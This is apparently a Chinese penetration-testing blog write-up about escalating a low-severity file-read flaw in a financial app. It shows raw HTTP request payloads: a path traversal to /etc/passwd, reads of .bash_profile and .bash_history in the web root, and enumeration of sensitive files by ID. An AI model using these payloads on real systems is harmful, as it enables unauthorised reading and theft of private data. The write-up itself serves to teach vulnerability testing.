在授權測試某金融類APP時,發現一個雞肋低危文件讀取漏洞,嘗試將其升級為高危。
PS:本文僅用于技術討論與分析,嚴禁用于任何非法用途,違者后果自負。
0x00 初步探測
發現首次打開APP時,會向服務器讀取文件加載并展示圖片。
測試時一定要細心,筆者發現只有首次打開APP時,才會加載圖片,后面再打開應該是資源已被記錄,就不會向服務器再次進行請求了。

此加載展示圖片的GET請求數據包如下:

GET /ixxx/LgonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName=this_is_image.jpg HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
拿到這個數據包的第一反應,以往的滲透測試經驗告訴我,從這個地方大概路會存在文件讀取漏洞。
分析并猜測功能點URI的每個參數的功能。
LogonImageDir=/XXXXX/Pictures - 圖片所在的目錄
SaveXxxxxImageName=this_is_image.jpg - 目錄下的圖片名
0x01 漏洞測試
既然已經初步探測到了可能存在漏洞的風險點,并且文件讀取功能的參數已經搞清楚,下一步就展開讀取測試。
首先測試,是否可以進行目錄列出,直接將SaveXxxxxImageName參數置空,看看是否可以讀取/XXXXX/Pictures目錄下的內容:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName= HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
返回為“空”,失敗,說明程序功能點不存在列出目錄漏洞:

測試是否可以跳出目錄,選用Payload如下:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../../../../../../etc/&SaveXxxxxImageName=passwd HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
返回某恒防火墻攔截界面,失敗:


接下來進一步測試,是/etc/passwd觸發的WAF,還是/../觸發的WAF。
測試只進行一層目錄跳出,并且刪除/etc/passwd關鍵字:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../&SaveXxxxxImageName= HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
唔...看來/../的特殊字符就已經觸發了WAF:

之后想到嘗試對數據包進行POST類型轉換,使用POST傳參的一些方式進行WAF的測試,如:
URL編碼
分塊傳輸
臟數據填充
包體轉換
畸形數據包
......
但是無奈,POST請求直接無法傳參,程序限制了GET請求接收參數。
(不過,后來測試其他POST傳參的功能時,發現以筆者現有的WAF繞過經驗思路,根本無法對某恒的WAF進行繞過.....)
0x02 漏洞確認
總結以上對此文件讀取漏洞收集到的信息:
目錄無法跨越,并且文件讀取的路徑在當前根目錄;
特殊字符串,已被WAF完美防護住;
無法獲取目錄下的文件名、無法預知是否可以讀取其他后綴文件。
測試到這里突然靈光一閃,想到了“.bash_history”,如果網站根目錄存在此文件,并且可以讀取,上面的疑問就可以直接解決大半了,先來了解一下這些文件作用:
.bash_profile:此文件為系統的每個用戶設置環境信息,當用戶第一次登錄時,該文件被執行。
.bash_history:該文件保存了當前用戶輸入過的歷史命令;
.bash_logout:該文件的用途是用戶注銷時執行的命令,默認為空;
.bashrc:此文件為每一個運行bash shell的用戶執行此文件。當bash shell被打開時,該文件被讀取。
于是直接對網站根目錄進行.bash_profile的盲測:
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_profile HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
此payload既避免了跳出目錄,又避開了WAF嚴打的特殊字符,但是唯一遺漏的.bash文件被我們利用到了。

激動的心顫抖的手,看來當前網站根目錄確實是此用戶的目錄,并且用戶在此根目錄下執行過命令!
接下來嘗試進一步擴大危害。
0x03 危害升級
不清楚當前目錄結構,就代表著無法定向讀取文件,但是還有一個.bash_history我們沒有利用到,看看是否可以在其中獲取到更重要的信息。
讀取根目錄下的.bash_history:
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_history HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
信息量雖然少,但是已經有了新的進展:

由歷史命令得知,管理員cd進入了兩層目錄:/Nxxxx/xxFile/
并且查看了xx_20201022_51xxx.txt文件。
直接構造讀取此文件!
GET /ixxx/LogonImage.do?XxxxxImageDir=/Nxxxx/xxFile&SaveXxxxxImageName=xx_20201022_51xxx.txt HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
成功讀取到了敏感的數據信息:

并且文件的ID值為時間戳+ID順序編號組成,可輕松遍歷出全部的信息。
Burpsuite Intruder模塊測試:

嘗試遍歷10個ID值成功。
0x04 回首總結
存在的難題:目錄無法跨越、WAF盯防、無法預知目錄文件結構。
在此情況下,利用Linux文件系統特性,仍然可以將低危漏洞提升至高危。
并且危害的等級高低是無法預估的,這取決于.bash_history會給我們泄露多少信息,所以文件讀取漏洞存在時間越久,記錄的東西越多,危害越大!
- 關鍵詞標簽:
- 網絡安全 文件讀取漏洞,